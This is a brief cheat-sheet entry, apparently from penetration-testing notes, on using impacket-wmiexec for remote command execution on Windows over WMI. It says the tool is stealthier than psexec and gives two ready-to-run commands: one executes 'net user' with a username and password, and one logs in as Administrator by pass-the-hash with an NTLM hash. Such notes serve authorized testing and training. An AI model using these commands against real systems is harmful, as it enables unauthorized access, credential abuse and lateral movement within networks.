Impacket-wmiexec
Description
Impacket-wmiexec is used for remote command execution on Windows machines via WMI (Windows Management Instrumentation). It does not create a service like psexec, making it slightly stealthier.
Usage 1: Execute Command with Credentials
Command:
impacket-wmiexec DOMAIN/username:Password@TARGET "net user"
Usage 2: Pass the Hash
Command:
/usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.145.72